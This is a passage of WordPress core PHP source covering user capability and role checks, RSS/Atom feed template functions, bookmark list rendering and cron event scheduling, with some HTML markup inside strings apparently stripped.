'do_not_allow'; else $caps[] = $cap; break; case 'update_plugins': case 'delete_plugins': case 'install_plugins': case 'upload_plugins': case 'update_themes': case 'delete_themes': case 'install_themes': case 'upload_themes': case 'update_core': // Disallow anything that creates, deletes, or updates core, plugin, or theme files. // Files in uploads are excepted. if ( defined( 'DISALLOW_FILE_MODS' ) && DISALLOW_FILE_MODS ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } elseif ( 'upload_themes' === $cap ) { $caps[] = 'install_themes'; } elseif ( 'upload_plugins' === $cap ) { $caps[] = 'install_plugins'; } else { $caps[] = $cap; } break; case 'activate_plugins': $caps[] = $cap; if ( is_multisite() ) { // update_, install_, and delete_ are handled above with is_super_admin(). $menu_perms = get_site_option( 'menu_items', array() ); if ( empty( $menu_perms['plugins'] ) ) $caps[] = 'manage_network_plugins'; } break; case 'delete_user': case 'delete_users': // If multisite only super admins can delete users. if ( is_multisite() && ! is_super_admin( $user_id ) ) $caps[] = 'do_not_allow'; else $caps[] = 'delete_users'; // delete_user maps to delete_users. break; case 'create_users': if ( !is_multisite() ) $caps[] = $cap; elseif ( is_super_admin() || get_site_option( 'add_new_users' ) ) $caps[] = $cap; else $caps[] = 'do_not_allow'; break; case 'manage_links' : if ( get_option( 'link_manager_enabled' ) ) $caps[] = $cap; else $caps[] = 'do_not_allow'; break; case 'customize' : $caps[] = 'edit_theme_options'; break; default: // Handle meta capabilities for custom post types. $post_type_meta_caps = _post_type_meta_capabilities(); if ( isset( $post_type_meta_caps[ $cap ] ) ) { $args = array_merge( array( $post_type_meta_caps[ $cap ], $user_id ), $args ); return call_user_func_array( 'map_meta_cap', $args ); } // If no meta caps match, return the original cap. $caps[] = $cap; } /** * Filter a user's capabilities depending on specific context and/or privilege. * * @since 2.8.0 * * @param array $caps Returns the user's actual capabilities. * @param string $cap Capability name. * @param int $user_id The user ID. * @param array $args Adds the context to the cap. Typically the object ID. */ return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args ); } /** * Whether current user has capability or role. * * @since 2.0.0 * * @param string $capability Capability or role name. * @return bool */ function current_user_can( $capability ) { $current_user = wp_get_current_user(); if ( empty( $current_user ) ) return false; $args = array_slice( func_get_args(), 1 ); $args = array_merge( array( $capability ), $args ); return call_user_func_array( array( $current_user, 'has_cap' ), $args ); } /** * Whether current user has a capability or role for a given blog. * * @since 3.0.0 * * @param int $blog_id Blog ID * @param string $capability Capability or role name. * @return bool */ function current_user_can_for_blog( $blog_id, $capability ) { $switched = is_multisite() ? switch_to_blog( $blog_id ) : false; $current_user = wp_get_current_user(); if ( empty( $current_user ) ) { if ( $switched ) { restore_current_blog(); } return false; } $args = array_slice( func_get_args(), 2 ); $args = array_merge( array( $capability ), $args ); $can = call_user_func_array( array( $current_user, 'has_cap' ), $args ); if ( $switched ) { restore_current_blog(); } return $can; } /** * Whether author of supplied post has capability or role. * * @since 2.9.0 * * @param int|object $post Post ID or post object. * @param string $capability Capability or role name. * @return bool */ function author_can( $post, $capability ) { if ( !$post = get_post($post) ) return false; $author = get_userdata( $post->post_author ); if ( ! $author ) return false; $args = array_slice( func_get_args(), 2 ); $args = array_merge( array( $capability ), $args ); return call_user_func_array( array( $author, 'has_cap' ), $args ); } /** * Whether a particular user has capability or role. * * @since 3.1.0 * * @param int|object $user User ID or object. * @param string $capability Capability or role name. * @return bool */ function user_can( $user, $capability ) { if ( ! is_object( $user ) ) $user = get_userdata( $user ); if ( ! $user || ! $user->exists() ) return false; $args = array_slice( func_get_args(), 2 ); $args = array_merge( array( $capability ), $args ); return call_user_func_array( array( $user, 'has_cap' ), $args ); } /** * Retrieve role object. * * @see WP_Roles::get_role() Uses method to retrieve role object. * @since 2.0.0 * * @param string $role Role name. * @return WP_Role|null WP_Role object if found, null if the role does not exist. */ function get_role( $role ) { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); return $wp_roles->get_role( $role ); } /** * Add role, if it does not exist. * * @see WP_Roles::add_role() Uses method to add role. * @since 2.0.0 * * @param string $role Role name. * @param string $display_name Display name for role. * @param array $capabilities List of capabilities, e.g. array( 'edit_posts' => true, 'delete_posts' => false ); * @return WP_Role|null WP_Role object if role is added, null if already exists. */ function add_role( $role, $display_name, $capabilities = array() ) { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); return $wp_roles->add_role( $role, $display_name, $capabilities ); } /** * Remove role, if it exists. * * @see WP_Roles::remove_role() Uses method to remove role. * @since 2.0.0 * * @param string $role Role name. */ function remove_role( $role ) { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); $wp_roles->remove_role( $role ); } /** * Retrieve a list of super admins. * * @since 3.0.0 * * @uses $super_admins Super admins global variable, if set. * * @return array List of super admin logins */ function get_super_admins() { global $super_admins; if ( isset($super_admins) ) return $super_admins; else return get_site_option( 'site_admins', array('admin') ); } /** * Determine if user is a site admin. * * @since 3.0.0 * * @param int $user_id (Optional) The ID of a user. Defaults to the current user. * @return bool True if the user is a site admin. */ function is_super_admin( $user_id = false ) { if ( ! $user_id || $user_id == get_current_user_id() ) $user = wp_get_current_user(); else $user = get_userdata( $user_id ); if ( ! $user || ! $user->exists() ) return false; if ( is_multisite() ) { $super_admins = get_super_admins(); if ( is_array( $super_admins ) && in_array( $user->user_login, $super_admins ) ) return true; } else { if ( $user->has_cap('delete_users') ) return true; } return false; } /** * WordPress Feed API * * Many of the functions used in here belong in The Loop, or The Loop for the * Feeds. * * @package WordPress * @subpackage Feed */ /** * RSS container for the bloginfo function. * * You can retrieve anything that you can using the get_bloginfo() function. * Everything will be stripped of tags and characters converted, when the values * are retrieved for use in the feeds. * * @since 1.5.1 * @see get_bloginfo() For the list of possible values to display. * * @param string $show See get_bloginfo() for possible values. * @return string */ function get_bloginfo_rss($show = '') { $info = strip_tags(get_bloginfo($show)); /** * Filter the bloginfo for use in RSS feeds. * * @since 2.2.0 * * @see convert_chars() * @see get_bloginfo() * * @param string $info Converted string value of the blog information. * @param string $show The type of blog information to retrieve. */ return apply_filters( 'get_bloginfo_rss', convert_chars( $info ), $show ); } /** * Display RSS container for the bloginfo function. * * You can retrieve anything that you can using the get_bloginfo() function. * Everything will be stripped of tags and characters converted, when the values * are retrieved for use in the feeds. * * @since 0.71 * @see get_bloginfo() For the list of possible values to display. * * @param string $show See get_bloginfo() for possible values. */ function bloginfo_rss($show = '') { /** * Filter the bloginfo for display in RSS feeds. * * @since 2.1.0 * * @see get_bloginfo() * * @param string $rss_container RSS container for the blog information. * @param string $show The type of blog information to retrieve. */ echo apply_filters( 'bloginfo_rss', get_bloginfo_rss( $show ), $show ); } /** * Retrieve the default feed. * * The default feed is 'rss2', unless a plugin changes it through the * 'default_feed' filter. * * @since 2.5.0 * * @return string Default feed, or for example 'rss2', 'atom', etc. */ function get_default_feed() { /** * Filter the default feed type. * * @since 2.5.0 * * @param string $feed_type Type of default feed. Possible values include 'rss2', 'atom'. * Default 'rss2'. */ $default_feed = apply_filters( 'default_feed', 'rss2' ); return 'rss' == $default_feed ? 'rss2' : $default_feed; } /** * Retrieve the blog title for the feed title. * * @since 2.2.0 * * @param string $sep Optional. How to separate the title. See wp_title() for more info. * @return string Error message on failure or blog title on success. */ function get_wp_title_rss( $sep = '»' ) { $title = wp_title( $sep, false ); if ( is_wp_error( $title ) ) { return $title->get_error_message(); } if ( $title && $sep && ' ' !== substr( $title, 0, 1 ) ) { $title = " $sep " . $title; } /** * Filter the blog title for use as the feed title. * * @since 2.2.0 * * @param string $title The current blog title. * @param string $sep Separator used by wp_title(). */ $title = apply_filters( 'get_wp_title_rss', $title, $sep ); return $title; } /** * Display the blog title for display of the feed title. * * @since 2.2.0 * @see wp_title() $sep parameter usage. * * @param string $sep Optional. */ function wp_title_rss( $sep = '»' ) { /** * Filter the blog title for display of the feed title. * * @since 2.2.0 * * @see get_wp_title_rss() * * @param string $wp_title The current blog title. * @param string $sep Separator used by wp_title(). */ echo apply_filters( 'wp_title_rss', get_wp_title_rss( $sep ), $sep ); } /** * Retrieve the current post title for the feed. * * @since 2.0.0 * * @return string Current post title. */ function get_the_title_rss() { $title = get_the_title(); /** * Filter the post title for use in a feed. * * @since 1.2.0 * * @param string $title The current post title. */ $title = apply_filters( 'the_title_rss', $title ); return $title; } /** * Display the post title in the feed. * * @since 0.71 */ function the_title_rss() { echo get_the_title_rss(); } /** * Retrieve the post content for feeds. * * @since 2.9.0 * @see get_the_content() * * @param string $feed_type The type of feed. rss2 | atom | rss | rdf * @return string The filtered content. */ function get_the_content_feed($feed_type = null) { if ( !$feed_type ) $feed_type = get_default_feed(); /** This filter is documented in wp-includes/post-template.php */ $content = apply_filters( 'the_content', get_the_content() ); $content = str_replace(']]>', ']]>', $content); /** * Filter the post content for use in feeds. * * @since 2.9.0 * * @param string $content The current post content. * @param string $feed_type Type of feed. Possible values include 'rss2', 'atom'. * Default 'rss2'. */ return apply_filters( 'the_content_feed', $content, $feed_type ); } /** * Display the post content for feeds. * * @since 2.9.0 * * @param string $feed_type The type of feed. rss2 | atom | rss | rdf */ function the_content_feed($feed_type = null) { echo get_the_content_feed($feed_type); } /** * Display the post excerpt for the feed. * * @since 0.71 */ function the_excerpt_rss() { $output = get_the_excerpt(); /** * Filter the post excerpt for a feed. * * @since 1.2.0 * * @param string $output The current post excerpt. */ echo apply_filters( 'the_excerpt_rss', $output ); } /** * Display the permalink to the post for use in feeds. * * @since 2.3.0 */ function the_permalink_rss() { /** * Filter the permalink to the post for use in feeds. * * @since 2.3.0 * * @param string $post_permalink The current post permalink. */ echo esc_url( apply_filters( 'the_permalink_rss', get_permalink() ) ); } /** * Outputs the link to the comments for the current post in an xml safe way * * @since 3.0.0 * @return none */ function comments_link_feed() { /** * Filter the comments permalink for the current post. * * @since 3.6.0 * * @param string $comment_permalink The current comment permalink with * '#comments' appended. */ echo esc_url( apply_filters( 'comments_link_feed', get_comments_link() ) ); } /** * Display the feed GUID for the current comment. * * @since 2.5.0 * * @param int|object $comment_id Optional comment object or id. Defaults to global comment object. */ function comment_guid($comment_id = null) { echo esc_url( get_comment_guid($comment_id) ); } /** * Retrieve the feed GUID for the current comment. * * @since 2.5.0 * * @param int|object $comment_id Optional comment object or id. Defaults to global comment object. * @return false|string false on failure or guid for comment on success. */ function get_comment_guid($comment_id = null) { $comment = get_comment($comment_id); if ( !is_object($comment) ) return false; return get_the_guid($comment->comment_post_ID) . '#comment-' . $comment->comment_ID; } /** * Display the link to the comments. * * @since 1.5.0 */ function comment_link() { /** * Filter the current comment's permalink. * * @since 3.6.0 * * @see get_comment_link() * * @param string $comment_permalink The current comment permalink. */ echo esc_url( apply_filters( 'comment_link', get_comment_link() ) ); } /** * Retrieve the current comment author for use in the feeds. * * @since 2.0.0 * * @return string Comment Author */ function get_comment_author_rss() { /** * Filter the current comment author for use in a feed. * * @since 1.5.0 * * @see get_comment_author() * * @param string $comment_author The current comment author. */ return apply_filters( 'comment_author_rss', get_comment_author() ); } /** * Display the current comment author in the feed. * * @since 1.0.0 */ function comment_author_rss() { echo get_comment_author_rss(); } /** * Display the current comment content for use in the feeds. * * @since 1.0.0 */ function comment_text_rss() { $comment_text = get_comment_text(); /** * Filter the current comment content for use in a feed. * * @since 1.5.0 * * @param string $comment_text The content of the current comment. */ $comment_text = apply_filters( 'comment_text_rss', $comment_text ); echo $comment_text; } /** * Retrieve all of the post categories, formatted for use in feeds. * * All of the categories for the current post in the feed loop, will be * retrieved and have feed markup added, so that they can easily be added to the * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds. * * @since 2.1.0 * * @param string $type Optional, default is the type returned by get_default_feed(). * @return string All of the post categories for displaying in the feed. */ function get_the_category_rss($type = null) { if ( empty($type) ) $type = get_default_feed(); $categories = get_the_category(); $tags = get_the_tags(); $the_list = ''; $cat_names = array(); $filter = 'rss'; if ( 'atom' == $type ) $filter = 'raw'; if ( !empty($categories) ) foreach ( (array) $categories as $category ) { $cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter); } if ( !empty($tags) ) foreach ( (array) $tags as $tag ) { $cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $filter); } $cat_names = array_unique($cat_names); foreach ( $cat_names as $cat_name ) { if ( 'rdf' == $type ) $the_list .= "\t\t\n"; elseif ( 'atom' == $type ) $the_list .= sprintf( '', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) ); else $the_list .= "\t\t\n"; } /** * Filter all of the post categories for display in a feed. * * @since 1.2.0 * * @param string $the_list All of the RSS post categories. * @param string $type Type of feed. Possible values include 'rss2', 'atom'. * Default 'rss2'. */ return apply_filters( 'the_category_rss', $the_list, $type ); } /** * Display the post categories in the feed. * * @since 0.71 * @see get_the_category_rss() For better explanation. * * @param string $type Optional, default is the type returned by get_default_feed(). */ function the_category_rss($type = null) { echo get_the_category_rss($type); } /** * Display the HTML type based on the blog setting. * * The two possible values are either 'xhtml' or 'html'. * * @since 2.2.0 */ function html_type_rss() { $type = get_bloginfo('html_type'); if (strpos($type, 'xhtml') !== false) $type = 'xhtml'; else $type = 'html'; echo $type; } /** * Display the rss enclosure for the current post. * * Uses the global $post to check whether the post requires a password and if * the user has the password for the post. If not then it will return before * displaying. * * Also uses the function get_post_custom() to get the post's 'enclosure' * metadata field and parses the value to display the enclosure(s). The * enclosure(s) consist of enclosure HTML tag(s) with a URI and other * attributes. * * @since 1.5.0 */ function rss_enclosure() { if ( post_password_required() ) return; foreach ( (array) get_post_custom() as $key => $val) { if ($key == 'enclosure') { foreach ( (array) $val as $enc ) { $enclosure = explode("\n", $enc); // only get the first element, e.g. audio/mpeg from 'audio/mpeg mpga mp2 mp3' $t = preg_split('/[ \t]/', trim($enclosure[2]) ); $type = $t[0]; /** * Filter the RSS enclosure HTML link tag for the current post. * * @since 2.2.0 * * @param string $html_link_tag The HTML link tag with a URI and other attributes. */ echo apply_filters( 'rss_enclosure', '' . "\n" ); } } } } /** * Display the atom enclosure for the current post. * * Uses the global $post to check whether the post requires a password and if * the user has the password for the post. If not then it will return before * displaying. * * Also uses the function get_post_custom() to get the post's 'enclosure' * metadata field and parses the value to display the enclosure(s). The * enclosure(s) consist of link HTML tag(s) with a URI and other attributes. * * @since 2.2.0 */ function atom_enclosure() { if ( post_password_required() ) return; foreach ( (array) get_post_custom() as $key => $val ) { if ($key == 'enclosure') { foreach ( (array) $val as $enc ) { $enclosure = explode("\n", $enc); /** * Filter the atom enclosure HTML link tag for the current post. * * @since 2.2.0 * * @param string $html_link_tag The HTML link tag with a URI and other attributes. */ echo apply_filters( 'atom_enclosure', '' . "\n" ); } } } } /** * Determine the type of a string of data with the data formatted. * * Tell whether the type is text, html, or xhtml, per RFC 4287 section 3.1. * * In the case of WordPress, text is defined as containing no markup, * xhtml is defined as "well formed", and html as tag soup (i.e., the rest). * * Container div tags are added to xhtml values, per section 3.1.1.3. * * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1 * * @since 2.5.0 * * @param string $data Input string * @return array array(type, value) */ function prep_atom_text_construct($data) { if (strpos($data, '<') === false && strpos($data, '&') === false) { return array('text', $data); } $parser = xml_parser_create(); xml_parse($parser, '
' . $data . '
', true); $code = xml_get_error_code($parser); xml_parser_free($parser); if (!$code) { if (strpos($data, '<') === false) { return array('text', $data); } else { $data = "
$data
"; return array('xhtml', $data); } } if (strpos($data, ']]>') == false) { return array('html', ""); } else { return array('html', htmlspecialchars($data)); } } /** * Display the link for the currently displayed feed in a XSS safe way. * * Generate a correct link for the atom:self element. * * @since 2.5.0 */ function self_link() { $host = @parse_url(home_url()); /** * Filter the current feed URL. * * @since 3.6.0 * * @see set_url_scheme() * @see wp_unslash() * * @param string $feed_link The link for the feed with set URL scheme. */ echo esc_url( apply_filters( 'self_link', set_url_scheme( 'http://' . $host['host'] . wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ); } /** * Return the content type for specified feed type. * * @since 2.8.0 */ function feed_content_type( $type = '' ) { if ( empty($type) ) $type = get_default_feed(); $types = array( 'rss' => 'application/rss+xml', 'rss2' => 'application/rss+xml', 'rss-http' => 'text/xml', 'atom' => 'application/atom+xml', 'rdf' => 'application/rdf+xml' ); $content_type = ( !empty($types[$type]) ) ? $types[$type] : 'application/octet-stream'; /** * Filter the content type for a specific feed type. * * @since 2.8.0 * * @param string $content_type Content type indicating the type of data that a feed contains. * @param string $type Type of feed. Possible values include 'rss2', 'atom'. * Default 'rss2'. */ return apply_filters( 'feed_content_type', $content_type, $type ); } /** * Build SimplePie object based on RSS or Atom feed from URL. * * @since 2.8.0 * * @param mixed $url URL of feed to retrieve. If an array of URLs, the feeds are merged * using SimplePie's multifeed feature. * See also {@link ​http://simplepie.org/wiki/faq/typical_multifeed_gotchas} * * @return WP_Error|SimplePie WP_Error object on failure or SimplePie object on success */ function fetch_feed( $url ) { require_once( ABSPATH . WPINC . '/class-feed.php' ); $feed = new SimplePie(); $feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' ); // We must manually overwrite $feed->sanitize because SimplePie's // constructor sets it before we have a chance to set the sanitization class $feed->sanitize = new WP_SimplePie_Sanitize_KSES(); $feed->set_cache_class( 'WP_Feed_Cache' ); $feed->set_file_class( 'WP_SimplePie_File' ); $feed->set_feed_url( $url ); /** This filter is documented in wp-includes/class-feed.php */ $feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) ); /** * Fires just before processing the SimplePie feed object. * * @since 3.0.0 * * @param object &$feed SimplePie feed object, passed by reference. * @param mixed $url URL of feed to retrieve. If an array of URLs, the feeds are merged. */ do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) ); $feed->init(); $feed->handle_content_type(); if ( $feed->error() ) return new WP_Error( 'simplepie-error', $feed->error() ); return $feed; } /** * Bookmark Template Functions for usage in Themes * * @package WordPress * @subpackage Template */ /** * The formatted output of a list of bookmarks. * * The $bookmarks array must contain bookmark objects and will be iterated over * to retrieve the bookmark to be used in the output. * * The output is formatted as HTML with no way to change that format. However, * what is between, before, and after can be changed. The link itself will be * HTML. * * This function is used internally by wp_list_bookmarks() and should not be * used by themes. * * @since 2.1.0 * @access private * * @param array $bookmarks List of bookmarks to traverse. * @param string|array $args { * Optional. Bookmarks arguments. * * @type int|bool $show_updated Whether to show the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type int|bool $show_description Whether to show the bookmakr description. Accepts 1|true, * Accepts 1|true or 0|false. Default 0|false. * @type int|bool $show_images Whether to show the link image if available. Accepts 1|true * or 0|false. Default 1|true. * @type int|bool $show_name Whether to show link name if available. Accepts 1|true or * 0|false. Default 0|false. * @type string $before The HTML or text to prepend to each bookmark. Default `
  • `. * @type string $after The HTML or text to append to each bookmark. Default `
  • `. * @type string $link_before The HTML or text to prepend to each bookmark inside the anchor * tags. Default empty. * @type string $link_after The HTML or text to append to each bookmark inside the anchor * tags. Default empty. * @type string $between The string for use in between the link, description, and image. * Default "\n". * @type int|bool $show_rating Whether to show the link rating. Accepts 1|true or 0|false. * Default 0|false. * * } * @return string Formatted output in HTML */ function _walk_bookmarks( $bookmarks, $args = '' ) { $defaults = array( 'show_updated' => 0, 'show_description' => 0, 'show_images' => 1, 'show_name' => 0, 'before' => '
  • ', 'after' => '
  • ', 'between' => "\n", 'show_rating' => 0, 'link_before' => '', 'link_after' => '' ); $r = wp_parse_args( $args, $defaults ); $output = ''; // Blank string to start with. foreach ( (array) $bookmarks as $bookmark ) { if ( ! isset( $bookmark->recently_updated ) ) { $bookmark->recently_updated = false; } $output .= $r['before']; if ( $r['show_updated'] && $bookmark->recently_updated ) { $output .= ''; } $the_link = '#'; if ( ! empty( $bookmark->link_url ) ) { $the_link = esc_url( $bookmark->link_url ); } $desc = esc_attr( sanitize_bookmark_field( 'link_description', $bookmark->link_description, $bookmark->link_id, 'display' ) ); $name = esc_attr( sanitize_bookmark_field( 'link_name', $bookmark->link_name, $bookmark->link_id, 'display' ) ); $title = $desc; if ( $r['show_updated'] ) { if ( '00' != substr( $bookmark->link_updated_f, 0, 2 ) ) { $title .= ' ('; $title .= sprintf( __('Last updated: %s'), date( get_option( 'links_updated_date_format' ), $bookmark->link_updated_f + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) ); $title .= ')'; } } $alt = ' alt="' . $name . ( $r['show_description'] ? ' ' . $title : '' ) . '"'; if ( '' != $title ) { $title = ' title="' . $title . '"'; } $rel = $bookmark->link_rel; if ( '' != $rel ) { $rel = ' rel="' . esc_attr($rel) . '"'; } $target = $bookmark->link_target; if ( '' != $target ) { $target = ' target="' . $target . '"'; } $output .= ''; $output .= $r['link_before']; if ( $bookmark->link_image != null && $r['show_images'] ) { if ( strpos( $bookmark->link_image, 'http' ) === 0 ) { $output .= "link_image\" $alt $title />"; } else { // If it's a relative path $output .= "link_image\" $alt $title />"; } if ( $r['show_name'] ) { $output .= " $name"; } } else { $output .= $name; } $output .= $r['link_after']; $output .= ''; if ( $r['show_updated'] && $bookmark->recently_updated ) { $output .= ''; } if ( $r['show_description'] && '' != $desc ) { $output .= $r['between'] . $desc; } if ( $r['show_rating'] ) { $output .= $r['between'] . sanitize_bookmark_field( 'link_rating', $bookmark->link_rating, $bookmark->link_id, 'display' ); } $output .= $r['after'] . "\n"; } // end while return $output; } /** * Retrieve or echo all of the bookmarks. * * List of default arguments are as follows: * * These options define how the Category name will appear before the category * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will * display for only the 'title_li' string and only if 'title_li' is not empty. * * @since 2.1.0 * * @see _walk_bookmarks() * * @param string|array $args { * Optional. String or array of arguments to list bookmarks. * * @type string $orderby How to order the links by. Accepts post fields. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts 1+ or -1 for all. * Default -1. * @type string $category Comma-separated list of category ids to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type int|bool $echo Whether to echo or return the formatted bookmarks. Accepts * 1|true (echo) or 0|false (return). Default 1|true. * @type int|bool $categorize Whether to show links listed by category or in a single column. * Accepts 1|true (by category) or 0|false (one column). Default 1|true. * @type int|bool $show_description Whether to show the bookmark descriptions. Accepts 1|true or 0|false. * Default 0|false. * @type string $title_li What to show before the links appear. Default 'Bookmarks'. * @type string $title_before The HTML or text to prepend to the $title_li string. Default '

    '. * @type string $title_after The HTML or text to append to the $title_li string. Default '

    '. * @type string $class The CSS class to use for the $title_li. Default 'linkcat'. * @type string $category_before The HTML or text to prepend to $title_before if $categorize is true. * String must contain '%id' and '%class' to inherit the category ID and * the $class argument used for formatting in themes. * Default '
  • '. * @type string $category_after The HTML or text to append to $title_after if $categorize is true. * Default '
  • '. * @type string $category_orderby How to order the bookmark category based on term scheme if $categorize * is true. Default 'name'. * @type string $category_order Whether to order categories in ascending or descending order if * $categorize is true. Accepts 'ASC' (ascending) or 'DESC' (descending). * Default 'ASC'. * } * @return string|null Will only return if echo option is set to not echo. Default is not return anything. */ function wp_list_bookmarks( $args = '' ) { $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'exclude_category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'echo' => 1, 'categorize' => 1, 'title_li' => __('Bookmarks'), 'title_before' => '

    ', 'title_after' => '

    ', 'category_orderby' => 'name', 'category_order' => 'ASC', 'class' => 'linkcat', 'category_before' => '
  • ', 'category_after' => '
  • ' ); $r = wp_parse_args( $args, $defaults ); $output = ''; if ( $r['categorize'] ) { $cats = get_terms( 'link_category', array( 'name__like' => $r['category_name'], 'include' => $r['category'], 'exclude' => $r['exclude_category'], 'orderby' => $r['category_orderby'], 'order' => $r['category_order'], 'hierarchical' => 0 ) ); if ( empty( $cats ) ) { $r['categorize'] = false; } } if ( $r['categorize'] ) { // Split the bookmarks into ul's for each category foreach ( (array) $cats as $cat ) { $params = array_merge( $r, array( 'category' => $cat->term_id ) ); $bookmarks = get_bookmarks( $params ); if ( empty( $bookmarks ) ) { continue; } $output .= str_replace( array( '%id', '%class' ), array( "linkcat-$cat->term_id", $r['class'] ), $r['category_before'] ); /** * Filter the bookmarks category name. * * @since 2.2.0 * * @param string $cat_name The category name of bookmarks. */ $catname = apply_filters( 'link_category', $cat->name ); $output .= $r['title_before']; $output .= $catname; $output .= $r['title_after']; $output .= "\n\t\n"; $output .= $r['category_after'] . "\n"; } } else { //output one single list using title_li for the title $bookmarks = get_bookmarks( $r ); if ( ! empty( $bookmarks ) ) { if ( ! empty( $r['title_li'] ) ) { $output .= str_replace( array( '%id', '%class' ), array( "linkcat-" . $r['category'], $r['class'] ), $r['category_before'] ); $output .= $r['title_before']; $output .= $r['title_li']; $output .= $r['title_after']; $output .= "\n\t\n"; $output .= $r['category_after'] . "\n"; } else { $output .= _walk_bookmarks( $bookmarks, $r ); } } } /** * Filter the bookmarks list before it is echoed or returned. * * @since 2.5.0 * * @param string $html The HTML list of bookmarks. */ $html = apply_filters( 'wp_list_bookmarks', $output ); if ( ! $r['echo'] ) { return $html; } echo $html; } /** * WordPress CRON API * * @package WordPress */ /** * Schedules a hook to run only once. * * Schedules a hook which will be executed once by the WordPress actions core at * a time which you specify. The action will fire off when someone visits your * WordPress site, if the schedule time has passed. * * @since 2.1.0 * @link http://codex.wordpress.org/Function_Reference/wp_schedule_single_event * * @param int $timestamp Timestamp for when to run the event. * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. */ function wp_schedule_single_event( $timestamp, $hook, $args = array()) { // don't schedule a duplicate if there's already an identical event due within 10 minutes of it $next = wp_next_scheduled($hook, $args); if ( $next && abs( $next - $timestamp ) <= 10 * MINUTE_IN_SECONDS ) { return; } $crons = _get_cron_array(); $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args ); /** * Filter a single event before it is scheduled. * * @since 3.1.0 * * @param object $event An object containing an event's data. */ $event = apply_filters( 'schedule_event', $event ); // A plugin disallowed this event if ( ! $event ) return false; $key = md5(serialize($event->args)); $crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args ); uksort( $crons, "strnatcasecmp" ); _set_cron_array( $crons ); } /** * Schedule a periodic event. * * Schedules a hook which will be executed by the WordPress actions core on a * specific interval, specified by you. The action will trigger when someone * visits your WordPress site, if the scheduled time has passed. * * Valid values for the recurrence are hourly, daily and twicedaily. These can * be extended using the cron_schedules filter in wp_get_schedules(). * * Use wp_next_scheduled() to prevent duplicates * * @since 2.1.0 * * @param int $timestamp Timestamp for when to run the event. * @param string $recurrence How often the event should recur. * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return false|null False on failure, null when complete with scheduling event. */ function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) { $crons = _get_cron_array(); $schedules = wp_get_schedules(); if ( !isset( $schedules[$recurrence] ) ) return false; $event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] ); /** This filter is documented in wp-includes/cron.php */ $event = apply_filters( 'schedule_event', $event ); // A plugin disallowed this event if ( ! $event ) return false; $key = md5(serialize($event->args)); $crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval ); uksort( $crons, "strnatcasecmp" ); _set_cron_array( $crons ); } /** * Reschedule a recurring event. * * @since 2.1.0 * * @param int $timestamp Timestamp for when to run the event. * @param string $recurrence How often the event should recur. * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return false|null False on failure. Null when event is rescheduled. */ function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array() ) { $crons = _get_cron_array(); $schedules = wp_get_schedules(); $key = md5( serialize( $args ) ); $interval = 0; // First we try to get it from the schedule if ( isset( $schedules[ $recurrence ] ) ) { $interval = $schedules[ $recurrence ]['interval']; } // Now we try to get it from the saved interval in case the schedule disappears if ( 0 == $interval ) { $interval = $crons[ $timestamp ][ $hook ][ $key ]['interval']; } // Now we assume something is wrong and fail to schedule if ( 0 == $interval ) { return false; } $now = time(); if ( $timestamp >= $now ) { $timestamp = $now + $interval; } else { $timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) ); } wp_schedule_event( $timestamp, $recurrence, $hook, $args ); } /** * Unschedule a previously scheduled cron job. * * The $timestamp and $hook parameters are required, so that the event can be * identified. * * @since 2.1.0 * * @param int $timestamp Timestamp for when to run the event. * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Arguments to pass to the hook's callback function. * Although not passed to a callback function, these arguments are used * to uniquely identify the scheduled event, so they should be the same * as those used when originally scheduling the event. */ function wp_unschedule_event( $timestamp, $hook, $args = array() ) { $crons = _get_cron_array(); $key = md5(serialize($args)); unset( $crons[$timestamp][$hook][$key] ); if ( empty($crons[$timestamp][$hook]) ) unset( $crons[$timestamp][$hook] ); if ( empty($crons[$timestamp]) ) unset( $crons[$timestamp] ); _set_cron_array( $crons ); } /** * Unschedule all cron jobs attached to a specific hook. * * @since 2.1.0 * * @param string $hook Action hook, the execution of which will be unscheduled. * @param array $args Optional. Arguments that were to be pass to the hook's callback function. */ function 